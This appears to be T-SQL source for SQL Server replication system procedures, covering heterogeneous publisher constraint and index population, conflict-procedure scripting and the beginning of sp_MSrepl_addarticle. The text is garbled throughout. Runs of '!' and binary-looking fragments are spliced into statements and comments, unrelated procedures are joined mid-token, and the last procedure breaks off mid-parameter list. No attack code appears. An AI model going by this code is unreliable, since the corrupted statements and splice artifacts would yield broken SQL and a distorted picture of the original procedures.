        SELECT  @column_id = publishercolumn_id
        FROM    IHpublishercolumns
        WHERE   publisher_id = @publisher_id
          AND   table_id     = @table_id
          AND   name         = @column_name
        ORDER BY column_ordinal

        IF @@ERROR <> 0
        BEGIN
            CLOSE constraint_cur
            DEALLOCATE constraint_cur
            DROP TABLE #constraints
            RETURN (1)
        END

        IF @column_id IS NULL
        BEGIN
            RAISERROR(21613, 16, -1, @column_name, @source_table)
            CLOSE constraint_cur
            DEALLOCATE constraint_cur
            DROP TABLE #constraints
            RETURN (1)
        END

        -- Get constraint ID, if it has already been added
        SELECT @constraint_id   = publisherconstraint_id
        FROM   IHpublisherconstraints
        WHERE  name = @name
        AND    table_id = @table_id
        AND    publisher_id = @publisher_id

        IF @@ERROR <> 0
        BEGIN
            CLOSE constraint_cur
            DEALLOCATE constraint_cur
            DROP TABLE #constraints
            RETURN (1)
        END

        -- if constraint does not exist add it
        IF @constraint_id IS NULL
        BEGIN
            INSERT INTO IHpublisherconstraints (name, table_id, publisher_id, type)
            VALUES (@name, @table_id, @publisher_id, 'PRIMARYKEY')

            IF @@ERROR <> 0
            BEGIN
                CLOSE constraint_cur
                DEALLOCATE constraint_cur
                DROP TABLE #constraints
                RETURN (1)
            END

            SELECT @constraint_id = @@IDENTITY          
        END

        -- associate the table columns to the constraint
        INSERT INTO IHpublishercolumnconstraints (publishercolumn_id, publisherconstraint_id, indid)
        VALUES (@column_id, @constraint_id, @column_pos)

        IF @@ERROR <> 0
        BEGIN
            CLOSE constraint_cur
            DEALLOCATE constraint_cur
            DROP TABLE #constraints
            RETURN (1)
        !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<8E%00#lfEND

        FETCH NEXT FROM constraint_cur
        INTO @name, @owner, @table_name, @column_name, @column_pos
    END

    CLOSE constraint_cur
    DEALLOCATE constraint_cur
    DROP TABLE #constraints

    -----------------------------------------------------------------
    -- Populate IHpublisherindexes
    -----------------------------------------------------------------
    DECLARE index_cur CURSOR FAST_FORWARD FOR
    SELECT  index_name,
            uniqueness,
            column_name,
            column_position
    FROM    #indexes

    OPEN index_cur

    FETCH NEXT FROM index_cur
    INTO @name, @uniqueness, @column_name, @column_pos
    
    WHILE (@@FETCH_STATUS = 0)
    BEGIN
        -- Clear column and index id's
        SET @index_id  = NULL
        SET @column_id = NULL

        SELECT  @column_id = publishercolumn_id
        FROM    IHpublishercolumns
        WHERE   publisher_id = @publisher_id
          AND   table_id     = @table_id
          AND   name         = @column_name
        ORDER BY column_ordinal

        IF @@ERROR <> 0
        BEGIN
            CLOSE index_cur
            DEALLOCATE index_cur
            DROP TABLE #indexes
            RETURN (1)
        END

        IF @column_id IS NULL
        BEGIN
            RAISERROR(21614, 16, -1, @column_name, @source_table)
            CLOSE index_cur
            DEALLOCATE index_cur
            DROP TABLE #indexes
            RETURN (1)
        END

        -- Find the index and add entry for this key column,
        -- if it doens't already exist
        SELECT  @index_id = publisherindex_id
        FROM    IHpublisherindexes
        WHERE   publisher_id = @publisher_id
          AND   table_id     = @table_id
          AND   name         = @name

        IF @@ERROR <> 0
        BEGIN
            CLOSE index_cur
            DEALLOCATE index_cur
            DROP TABLE #indexes
            RETURN (1)
        END

        IF @index_id IS NULL
        BEGIN
            INSERT INTO IHpublisherindexes (table_id, publisher_id, name, type)
            VALUES (@table_id, @publisher_id, @name, @uniqueness)

            IF @@ERROR <> 0
            BEGIN
                CLOSE index_cur
                DEALLOCATE index_cur
                DROP TABLE #indexes
                RETURN (1)
            END

            SELECT @index_id = @@IDENTITY
        END

        -- associate the index to the column
        INSERT INTO IHpublishercolumnindexes (publishercolumn_id, publisherindex_id, indid)
        VALUES (@column_id, @index_id, @column_pos)

        IF @@ERROR <> 0
        BEGIN
            CLOSE index_cur
            DEALLOCATE index_cur
            DROP TABLE #indexes
            RETURN (1)
        END

        FETCH NEXT FROM index_cur
        INTO @name, @uniqueness, @column_name, @column_pos
    END

    CLOSE index_cur
    DEALLOCATE index_cur
    DROP TABLE #indexes

    RETURN 0
END
GGication       = @publication,
                                @article        = @article,
                                @subscriber     = @subscriber,
                                @destination_db = @destination_db,
                                @sync_type      = @sync_type,
                                @status         = @status,
                                @subscription_type = @subscription_type,
                                @reserved       = @internal,
                                @update_mode    = @update_mode,      
                                @loopback_detection = @loopback_detection,
                                @frequency_type  = @frequency_type,
                                @frequency_interval  = @frequency_interval,
                                @frequency_relative_interval  = @frequency_relative_interval,
                                @frequency_recurrence_factor  = @frequency_recurrence_factor,
                                @frequency_subday  = @frequency_subday,
                                @frequency_subday_interval  = @frequency_subday_interval,
                                @active_start_time_of_day  = @active_start_time_of_day,
                                @active_end_time_of_day  = @active_end_time_of_day,
                                @active_start_date  = @active_start_date,
                                @active_end_date  = @active_end_date,
                                @optional_command_line = @optional_command_line,
               					@enabled_for_syncmgr = @enabled_for_syncmgr,
                                @dts_package_name = @dts_package_name,
                                @dts_package_password = @dts_package_password,
                                @dts_package_location = @dts_package_location,
                                @distribution_job_name = @distribution_job_name,
                                @publisher = @publisher,
                                @publisher_type = @publisher_type
                                ,@subscriptionstreams = @subscriptionstreams
                                ,@subscriber_type = @subscriber_type
                                ,@pubid = @pubid
                                ,@non_sql_flag = @non_sql_flag
                                ,@publisher_local = @publisher_local
                                ,@immediate_sync = @immediate_sync
                                ,@srvid = @srvid
                                ,@independent_agent_id = @independent_agent_id
                                ,@dts_package_location_id = @dts_package_location_id
                                ,@immediate_sync_ready = @immediate_sync_ready
                                ,@sync_method = @sync_method
                                ,@subscription_type_id = @subscription_type_id
                                ,@pubstatus = @pubstatus
                                ,@allow_anonymous = @allow_anonymous
                                ,@update_mode_id = @update_mode_id  
                                 
		IF @@error <> 0 OR @retcode <> 0
		BEGIN
				RETURN (1)
		END

		RETURN (0)
	END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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, 
    @publication sysname,
    @is_debug bit=0,
    @alter bit = 0 -- if 1 script alter, otherwise script create
)
as
BEGIN
    declare @source_table nvarchar(1000)
				,@owner nvarchar(1000)
				,@procname nvarchar(1000)
				,@qualprocname nvarchar(1000)
				,@source_objid int
				,@artid int
				,@pubid int
				,@conflict_tableid int
				,@conflict_table nvarchar(1000)
				,@conflict_proc_id int
				,@indid int
				,@indkey int
				,@ind_col_name nvarchar(1000)
				,@qualname nvarchar(1000)
				,@destqualname nvarchar(1000)
				,@destowner nvarchar(1000)
				,@dbname nvarchar(1000)
				,@retcode smallint
				,@retain_varname int

    declare @colid      int
                ,@colname nvarchar(1000)
                ,@coltype nvarchar(1000)
                ,@ccoltype nvarchar(1000)
                ,@termlen    int
                ,@splitlen int

    declare @argtabempty    bit
                ,@seltabempty   bit
                ,@sel2tabempty  bit
                ,@valtabempty   bit
                ,@paramtabempty bit
                ,@where_clausetabempty bit
                ,@decltabempty bit
                ,@assigntabempty bit
                ,@compinsertabempty bit

    declare @argterm    nvarchar(4000)
                ,@selterm   nvarchar(4000)
                ,@sel2term  nvarchar(4000)
                ,@updterm   nvarchar(4000)
                ,@valterm   nvarchar(4000)
                ,@paramterm nvarchar(4000)
                ,@where_term nvarchar(4000)
                ,@declterm  nvarchar(4000)
                ,@assignterm nvarchar(4000)
                ,@compinsterm nvarchar(4000)

    declare @cmd        nvarchar(4000)

    set nocount on
    --
    -- prepare the proc name and get the other parameters
    --
    select @artid = a.artid, @pubid = a.pubid, @source_table = object_name(a.objid), 
            @source_objid = a.objid, @destowner = a.dest_owner 
    from sysarticles a, syspublications p
    where a.name = @article and
        p.name = @publication and
        a.pubid = p.pubid
    --
    -- Get the schema owner name for the object
    --
    select @owner = schema_name(schema_id) 
    from sys.objects 
    where object_id= @source_objid
    --
    -- Prepare the proc name 
    -- The source table should be owner qualified
    --
    select @source_table = QUOTENAME(@owner) + N'.' + QUOTENAME(@source_table)
    if @alter = 0
    begin
        exec @retcode = sys.sp_MSgettranconflictname @publication=@publication, 
                                    @source_object= @source_table, 
                                    @str_prefix='sp_MScft_', 
                                    @conflict_table=@procname OUTPUT
    end
    --in case of alter, proc should already exists
    else
    begin
        select @procname = object_name(ins_conflict_proc) from sysarticleupdates
        where artid = @artid and pubid = @pubid
    end

	set @qualprocname = QUOTENAME(@owner)+ N'.'+ QUOTENAME(@procname) 
    --
    -- The conflict table should exist before we do any conflict procs
    --
    select @conflict_tableid = conflict_tableid, 
            @conflict_table = OBJECT_NAME(conflict_tableid) 
    from sysarticleupdates
    where artid = @artid and pubid = @pubid
    if ( @conflict_tableid is NULL)
        return (1)
    --
    -- To check if specified object exists in current database
    --
    select @qualname = case when (@owner is null or @owner = ' ') then QUOTENAME(@conflict_table)
                            else QUOTENAME(@owner) + N'.' + QUOTENAME(@conflict_table) end
    if (object_id(@qualname) is NULL)
        return (1)
    --
    -- The source table should have an unique index
    --
    exec @indid = sys.sp_MStable_has_unique_index @source_objid
    if (@indid = 0)
        return (1)
    --
    -- Get all the columns participating in the index of the source table
    --
    create table #indcoltab ( colname sysname collate database_default )
    select @indkey = 1;
    while (@indkey <= 16)
    begin
        select @ind_col_name = index_col(@source_table, @indid, @indkey)
        if (@ind_col_name is not NULL) 
            insert into #indcoltab(colname) values(@ind_col_name)
        else
            select @indkey = 16

        select @indkey = @indkey + 1
    end
    --
    -- prepare destination table name (required for decentralized conflict processing)
    --
    select @destqualname = case when (@destowner is null or @destowner = ' ') 
                        then QUOTENAME(@conflict_table)
                        else QUOTENAME(@destowner) + N'.' + QUOTENAME(@conflict_table) end
    --
    -- build the lists
    --
    select @argtabempty = 1
        ,@valtabempty = 1
        ,@paramtabempty = 1
        ,@seltabempty = 1
        ,@sel2tabempty = 1
        ,@decltabempty = 1
        ,@assigntabempty = 1
        ,@where_clausetabempty = 1
        ,@compinsertabempty = 1

    create table #argtab ( c1 int identity NOT NULL, procedure_text nvarchar(4000) collate database_default null)
    create table #valtab ( c1 int identity NOT NULL, procedure_text nvarchar(4000) collate database_default null)
    create table #paramtab ( c1 int identity NOT NULL, procedure_text nvarchar(4000) collate database_default null)
    create table #seltab ( c1 int identity NOT NULL, procedure_text nvarchar(4000) collate database_default null)
    create table #sel2tab ( c1 int identity NOT NULL, procedure_text nvarchar(4000) collate database_default null)
    create table #decltab ( c1 int identity NOT NULL, procedure_text nvarchar(4000) collate database_default null)
    create table #assigntab ( c1 int identity NOT NULL, procedure_text nvarchar(4000) collate database_default null)
    create table #where_clausetab ( c1 int identity NOT NULL, procedure_text nvarchar(4000) collate database_default null)
    create table #compinstab ( c1 int identity NOT NULL, procedure_text nvarchar(4000) collate database_default null, termlen int null)

    --
    -- some predefined declares and assignments
    --
    select @cmd = N'
    declare @reinit_code int, @subwins_code int, @pubwins_code int, @qcfttabrowid uniqueidentifier
            ,@retcode smallint, @compcmd nvarchar(max), @centralized_conflicts bit'
    insert into #decltab(procedure_text) values(@cmd)
    select @decltabempty = 0
    
    select @cmd = N'
    select @reinit_code = 3
            ,@subwins_code = 2
            ,@pubwins_code = 1
            ,@qcfttabrowid = NEWID()'
    insert into #assigntab(procedure_text) values(@cmd)
    select @cmd = N'
    select @centralized_conflicts = centralized_conflicts
    from dbo.syspublications where pubid = ' + cast(@pubid as nvarchar)
    insert into #assigntab(procedure_text) values(@cmd)
    select @assigntabempty = 0
    --
    -- cursor for enumerating each column
    -- to build the terms for various lists
    --
    declare #argcursor cursor local FAST_FORWARD FOR 
            select column_id, max_length
            from sys.columns
            where is_computed = 0 and object_id=@conflict_tableid 
            order by column_id
    FOR READ ONLY

    select @retain_varname = 0
    open #argcursor
    fetch #argcursor into @colid, @termlen
    while (@@FETCH_STATUS = 0)
    begin
        --
        -- Get the column name and column type
        --
        exec sys.sp_MSget_type @conflict_tableid, @colid, @colname output, @coltype OUTPUT
        if (@@ERROR<>0 or @retcode<>0)
            return (1)
        --
        -- skip this specific column or if type is not returned
        --
        if ((@coltype IS NULL) or (rtrim(@coltype) like N'timestamp') or (LOWER(@colname) = 'qcfttabrowid'))
        begin
            -- do the next fetch and continue
            fetch #argcursor into @colid, @termlen
      !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(D"0Zv[R      continue    
        end
        exec sys.sp_MSget_colinfo @conflict_tableid, @colid, NULL, 0, NULL, @ccoltype output
        if (@@ERROR<>0 or @retcode<>0)
            return (1)
        --
        -- parameterize the vars that are the column values of the source
        -- table. For the columns that are specific to the conflict table
        -- retain specific names for the vars
        --
        if (LOWER(@colname collate SQL_Latin1_General_CP1_CS_AS) = 'origin_datasource')
            select @retain_varname = @colid

        select @argterm = case when (@retain_varname = 0) 
                then N'@param' + cast(@colid as nvarchar) 
                else N'@' + @colname end
        
        select @valterm = quotename(@colname)
                ,@paramterm = @argterm
        select @updterm = @valterm + N' = ' + @argterm

        if (@retain_varname = 0)
        begin
            if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) = 'xml')
            begin
                select @selterm = @paramterm + N' = convert(xml, ' + @valterm + ') '
                        ,@sel2term = @paramterm + N' = case when ' + @paramterm + 
                            N' is NULL then convert(xml, ' + @valterm + N') else ' + @paramterm + N' end'
            end
            else
            begin
                select @selterm = @paramterm + N' = ' + @valterm
                        ,@sel2term = @paramterm + N' = case when ' + @paramterm + 
                            N' is NULL then ' + @valterm + N' else ' + @paramterm + N' end'
            end
        end
        else
        begin
            select @selterm = NULL
                    ,@sel2term = NULL
        end
     
        select @argterm = @argterm + N' ' + @coltype
        --
        -- Check if this is part of primary key / unique index
        --
        if (@colname in ( select colname from #indcoltab ) )
        begin
            -- this key assignment becomes part of where clause
            select @where_term = @updterm
            select @updterm = NULL
                    ,@selterm = NULL
                    ,@sel2term = NULL
        end
        else
            select @where_term = NULL
        --
        -- special columns - process them as local var
        --
        if (LOWER(@colname collate SQL_Latin1_General_CP1_CS_AS) = 'insertdate' )
        begin
            select @declterm = N'
    declare ' + @argterm
            select @assignterm = N'
    select ' + @paramterm + N' = GETDATE()'
            select @argterm = NULL
        end
        else if (LOWER(@colname collate SQL_Latin1_General_CP1_CS_AS) = 'pubid' )
        begin
            select @declterm = N'
    declare ' + @argterm
            select @assignterm = N'
    select ' + @paramterm + N' = ' + cast(@pubid as nvarchar)
            select @argterm = NULL
        end
        else
        begin
            select @declterm = NULL
                    ,@assignterm = NULL
        end
        --
        -- build the term for compensating insert
        --
        if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) = 'varchar')
        begin
            select @compinsterm = N' '''''' + sys.fn_replreplacesinglequote(' + @valterm + N') collate database_default + '''''''' '
                    ,@termlen = case when (@termlen = -1) then 3500 else @termlen + 4 end
        end
        else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) = 'nvarchar')
        begin
            select @compinsterm = N' N'''''' + sys.fn_replreplacesinglequote(' + @valterm + N') collate database_default + '''''''' '
                    ,@termlen = case when (@termlen = -1) then 3500 else (@termlen * 2) + 4 end
        end
        else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) = 'char')
        begin
            select @compinsterm = N' '''''' + sys.fn_replreplacesinglequote(CAST(RTRIM(' + @valterm + N') as nvarchar(4000))) collate database_default + '''''''' '
                    ,@termlen = @termlen  + 4 
        end
        else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) = 'nchar')
        begin
            select @compinsterm = N' N'''''' + sys.fn_replreplacesinglequote(CAST(RTRIM(' + @valterm + N') as nvarchar(4000))) collate database_default + '''''''' '
                    ,@termlen = (@termlen * 2)  + 4 
        end
        else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) in ('binary','varbinary'))
        begin
            select @compinsterm = N' '' + sys.fn_varbintohexstr(' + @valterm + N') collate database_default ' 
                    ,@termlen = case when (@termlen = -1) then 3500 else (@termlen * 2) + 6 end
        end
        else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) in ('bit','bigint','int','smallint','tinyint','decimal','numeric'))
        begin
            select @compinsterm = N' '' + CAST(' + @valterm + N' as nvarchar) '
                    ,@termlen = 40 
        end
        else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) in ('float','real'))
        begin
            select @compinsterm = N' '' + CONVERT(nvarchar(60),' + @valterm + N', 2) '
                    ,@termlen = 60 
        end
        else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) in ('money','smallmoney'))
        begin
            select @compinsterm = N' '' + CONVERT(nvarchar(40),' + @valterm + N', 2) '
                    ,@termlen = 40 
        end
        else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) = 'uniqueidentifier')
        begin
            select @compinsterm = N' '''''' + CAST(' + @valterm + N' as nvarchar(40)) + '''''''' '
                    ,@termlen = 40 
        end
        else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) in ('datetime','smalldatetime'))
        begin
            select @compinsterm = N' '''''' + CONVERT(nvarchar(40), ' + @valterm + N', 112) + N'' ''  + CONVERT(nvarchar(40), ' + @valterm + N', 114) + '''''''' '
                    ,@termlen = 40 
        end
        else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) in ('date','time','datetime2','datetimeoffset'))
        begin
            select @compinsterm = N' '''''' + CONVERT(nvarchar(40), ' + @valterm + N', 121) + '''''''' '
                    ,@termlen = 40 
        end
        else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) = 'sql_variant')
        begin
            select @compinsterm = N' '' + sys.fn_sqlvarbasetostr(' + @valterm + N' ) collate database_default '
                    ,@termlen = case when (@termlen = -1) then 3500 else @termlen + 4 end
        end
        else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) = 'xml')
        begin
            select @compinsterm = N' N'''''' + CAST(' + @valterm + N' as nvarchar(max)) + '''''''' '
                    ,@termlen = case when (@termlen = -1) then 3500 else (@termlen * 2) + 4 end
        end
        else
        begin
            select @compinsterm = N' '' + CAST(' + @valterm + N' as nvarchar) '
                    ,@termlen = @termlen  + 4 
        end
        --
        -- Now append to the various lists
        --
        if (@argterm is NOT NULL)
        begin       
            if (@argtabempty = 1)
            begin
                select @argtabempty = 0
                        ,@cmd = N'
    ' + @argterm
            end
            else
                select @cmd = N',
    ' + @argterm
            insert into #argtab(procedure_text) values(@cmd)
        end
        if (@valterm is NOT NULL)
        begin
            if (@valtabempty = 1)
            begin
                select @valtabempty = 0
                        ,@cmd = @valterm
            end
            else
                select @cmd = N', ' + @valterm
            insert into #valtab(procedure_text) values(@cmd)
        end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(B`!;v&
create procedure sys.sp_MSrepl_addarticle
(
    @publication				sysname,
    @article					sysname,
    @source_table				nvarchar (517),
    @destination_table			sysname,
    @vertical_partition			nchar(5),
    @type						sysname,
    @filter						nvarchar (386),
    @sync_object				nvarchar (386),
    @ins_cmd					nvarchar (255),
    @del_cmd					nvarchar (255),
    @upd_cmd					nvarchar (255),
    @creation_script			nvarchar (255),
    @description				nvarchar (255),
    @pre_creation_cmd			nvarchar(10),
    @filter_clause				ntext,
    @schema_option				varbinary(8),
    @destination_owner			sysname,
    @status						tinyint,
    @source_owner				sysname,
    @sync_object_owner			sysname,
    @filter_owner				sysname,
    @source_object				sysname,
    @artid						int OUTPUT,
    @identityrangemanagementoption nvarchar(10),
    @auto_identity_range		nvarchar(5),
    @pub_identity_range			bigint,
    @identity_range				bigint,
    @threshold					int,
    @force_invalidate_snapshot	bit,
    @use_default_datatypes		bit,
    @publisher					sysname,
    @publisher_type				sysname,
    @fire_triggers_on_snapshot  nvarchar(5)
)
AS
BEGIN
    SET NOCOUNT ON

    /*
    ** Declarations.
    */  
    DECLARE @loc_publisher sysname
            ,@bak_source sysname
            ,@num_columns int
            ,@accessid smallint
            ,@db sysname
            ,@filterid int
            ,@object sysname
            ,@owner sysname
            ,@pubid int
            ,@publish_bit smallint
            ,@retcode int
            ,@site sysname
            ,@syncid int
            ,@tabid int
            ,@objid int
            ,@index_objid int
            ,@typeid smallint
            ,@pkkey sysname
            ,@i int
            ,@indid int
            ,@precmdid int
            ,@object_type nchar(2)
            ,@push tinyint
            ,@dbname sysname
            ,@cmd nvarchar(255)
            ,@fHasPk int
            ,@no_sync tinyint
            ,@immediate_sync bit
            ,@is_filter_in_use int
            ,@distributor sysname
            ,@distribdb sysname
            ,@distproc nvarchar (1000)
            ,@sync_method tinyint
            ,@allow_initialize_from_backup bit
            ,@colname sysname
            ,@idxname sysname
            ,@fire_triggers_on_snapshot_bit bit
            ,@distributortimestamp datetime
            ,@instance_id int
            ,@ccs_appendix smallint
            ,@pub_is_immediate_sync bit
            ,@proctag nvarchar(12)
            ,@publisher_dbms sysname
            ,@publisher_version sysname

    DECLARE  @autogen_sync_procs_id int
            ,@custom_proc_name nvarchar(255)
            --,@guid varbinary(16)
            ,@allow_sync_tran bit
            ,@repl_freq int
            ,@allow_queued_tran bit
            ,@allow_dts bit
            ,@merge_pub_object_bit  int
            ,@valid_ins_cmd nvarchar(255)
            ,@valid_upd_cmd nvarchar(255)
            ,@valid_del_cmd nvarchar(255)
            ,@MSrepl_tran_version_datatype sysname
            ,@colid int
            ,@backward_comp_level int
            ,@schema_option_lodword int
            ,@OracleColumnsExist bit -- Flag to indicate if #OracleColumns table was create
            ,@publisher_id int       -- needed for Heterogeneous publications
            ,@article_view nvarchar(255)
            ,@columns binary(128)
            ,@publishedcolumns binary(128)
            ,@table_id int
            ,@fpublished int
            ,@publisher_db sysname
            ,@is_p2p bit
            ,@max_range bigint
            ,@filter_proc_type sysname
            ,@is_enabled_for_het_sub bit
            ,@tablehasidentity bit
            ,@hr_admin sysname
            ,@applock_result int
            ,@usecustomprocs bit
            ,@constraint_name sysname
            ,@typetext nvarchar(max) 
            ,@fcolnullable int
            ,@xtype int
            ,@xprec int
            ,@viewname nvarchar(255)
            ,@issqlpublisher bit
            ,@p2porid int
            ,@tmp_cmd nvarchar(255)
            ,@fFileTable bit

    --
    -- constants
    --
            ,@customprocmaxlen int
            ,@customprocoffset int
            -- Option Bitfield Constants
            ,@OPT_ENABLED_FOR_P2P int
            ,@internal sysname
            ,@OPT_ENABLED_FOR_HET_SUB int
            ,@OPT_ENABLED_FOR_P2P_CONFLICTDETECTION int
			,@prependDBO bit
    --
    -- Initialize
    --
    SELECT @OracleColumnsExist = 0
            ,@backward_comp_level = 10 -- default to sphinx   
            ,@merge_pub_object_bit    = 128
            ,@push = 0
            ,@dbname = DB_NAME()
            ,@allow_initialize_from_backup = 0
            ,@customprocmaxlen = 128
            ,@issqlpublisher = case when (@publisher_type = N'MSSQLSERVER') then 1 else 0 end
            --                    
            --for ccs publications this offset will be adjusted by 11 
            --since we want to append '_msrepl_ccs' at the end
            --
            ,@customprocoffset = 17
            ,@ccs_appendix = 11
            ,@is_p2p = 0
            ,@OPT_ENABLED_FOR_P2P = 0x1
            ,@fire_triggers_on_snapshot_bit = 0
            ,@OPT_ENABLED_FOR_HET_SUB = 0x4
            ,@OPT_ENABLED_FOR_P2P_CONFLICTDETECTION = 0x8
			,@prependDBO = 0

	IF (@destination_owner is null)
		set @prependDBO = 1

    /*
    ** Security Check.
    */
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    -- Check to see if database is activated for publication
    IF sys.fn_MSrepl_istranpublished(@dbname,1) <> 1
    BEGIN
        RAISERROR (14013, 16, -1)
        RETURN (1)
    END
   
    -- Get a real server name if needed
    SELECT @loc_publisher = CASE
                                WHEN @publisher IS NOT NULL THEN @publisher
                                ELSE publishingservername()
                            END

    -- Get distributor info
    EXECUTE @retcode = sys.sp_MSrepl_getdistributorinfo @rpcsrvname = @distributor OUTPUT,
                                                        @distribdb  = @distribdb OUTPUT,
                                                        @publisher = @loc_publisher,
                                                        @publisher_id = @publisher_id OUTPUT

    IF @@ERROR <> 0 or @retcode <> 0
        RETURN (1)
    
    /*
    ** Padding out the specified schema option to the left
    */
    select @schema_option = fn_replprepadbinary8(@schema_option)
            ,@publisher_db = case when (@issqlpublisher = 1) then @dbname else @distribdb end

    IF @issqlpublisher = 0
    BEGIN
        IF @publisher_id IS NULL
        BEGIN
            RAISERROR(21600, 16, -1, @publisher)
            RETURN (1)
        END        
        
        IF @publisher_db IS NULL
        BEGIN
            RAISERROR (20026, 16, -1, @publication)
            RETURN (1)
        END
    END
    /*
    ** Parameter Check: @article.
    ** The @article name cannot be NULL and must conform to the rules
    ** for identifiers.
    */
    exec @retcode = sys.sp_MSreplcheck_name @article, '@article', 'sp_MSrepl_addarticle'
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    if LOWER(@article) = N'all'
    BEGIN
        RAISERROR (14032, 16, -1, '@article')
        RETURN (1)
    END
    /*
    ** Parameter Check: @publication.
    ** The @publication name cannot be NULL and must conform to the rules
    ** for identifiers.
    */
    IF @publication IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, N'@publication', N'sp_MSrepl_addarticle')
        RETURN (1)
    END

    EXECUTE @retcode = sys.sp_validname @publication
    IF @retcode <> 0
        RETURN (1)
    /*
    ** Parameter!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(B  v& Check: @destination_owner.
    ** The @destination_owner must conform to the rules
    ** for identifiers.
    */
    if @destination_owner is not null
    BEGIN
        EXECUTE @retcode = sys.sp_validname @destination_owner
        IF @retcode <> 0
            RETURN (1)
    END
    --
    -- Parameter Check: @source_table.
    -- Check to see that the @source_table is local, that it conforms
    -- to the rules for identifiers, and that it is a table, and not
    -- a view or another database object.
    -- Parameter Check: @source_object
    -- Required for HREPL
    --
    IF @issqlpublisher = 1
    BEGIN
        -- SQL Publisher
        IF @source_table IS NULL
        BEGIN
            if @source_object is NOT NULL
                select @source_table = @source_object
            else
            begin
                RAISERROR (14043, 16, -1, N'@source_object', N'sp_MSrepl_addarticle')
                RETURN (1)
            end
        END
		else
		begin
       		 -- The @source_table parameter(s) have been deprecated and should no longer be used. See the 'sp_addarticle' documentation for more information.
		        RAISERROR(21827, 16, -1, '@source_table', 'sp_addarticle')
               RETURN (1)
		end
        
        IF @source_owner is NULL -- 6.5 users only
        begin
            -- LIKE N'%.%.%' doesn't guarantee that the object name 
            -- is a 3-part name as . can be embedded in a quoted identifier.

            IF @source_table LIKE N'%.%.%' AND ISNULL(PARSENAME(@source_table, 3), @dbname) <> @dbname
            BEGIN
                RAISERROR (14004, 16, -1, @source_table)
                RETURN (1)
            END
        end

        -- For 7.0 users, @source_owner is not nullable.
        
        select @bak_source = @source_table
        
        IF @source_owner is not NULL
        begin
            select @source_table = QUOTENAME(@source_owner) + N'.' + QUOTENAME(@source_table)
            select @tabid = object_id(@source_table)
            IF @destination_table IS NULL
                SELECT @destination_table = @bak_source
        end
        ELSE 
        begin
            -- Make @source_table qualifed.
            select @tabid = object_id(QUOTENAME(@source_table))
            if @tabid is not null
            begin
                exec @retcode = sys.sp_MSget_qualified_name @tabid, @source_table output
                if @retcode <> 0 or @@error <> 0
                    return 1
                IF @destination_table IS NULL
                -- Set destination_table if not provided or default by now.
                -- If @source_table is qualified (6.x behavior) only use table name for destination name.
                    SELECT @destination_table = PARSENAME(@source_table, 1) 
            end
        end
        --
        -- Some table property local var initializations
        --
        select @tablehasidentity = case when (OBJECTPROPERTY(@tabid, N'tablehasidentity') = 1) then 1 else 0 end

    END -- SQL Publisher
    ELSE 
    BEGIN
        -- HREPL Publisher
        IF @source_table IS NOT NULL
        BEGIN
            -- For HREPL publications, restrict to NULL (not supported)
            RAISERROR (21632, 16, -1, N'@source_table', N'NULL')
            RETURN (1)
        END
        IF @source_object IS NULL
        BEGIN
            -- For HREPL publications, source object required
            RAISERROR (14043, 16, -1, N'@source_object', N'sp_MSrepl_addarticle')
            RETURN (1)
        END
        SELECT @source_table = @source_object
        
        -- Get the pubid and its properties
        EXEC @retcode = sys.sp_IHgetPublicationInfo @publisher = @publisher,
                                                    @publication   = @publication,
                                                    @publication_id   = @pubid                    OUTPUT,
                                                    @autogen_sync_procs_id = @autogen_sync_procs_id    OUTPUT,
                                                    @sync_method   = @sync_method              OUTPUT,
                                                    @allow_sync_tran  = @allow_sync_tran          OUTPUT,
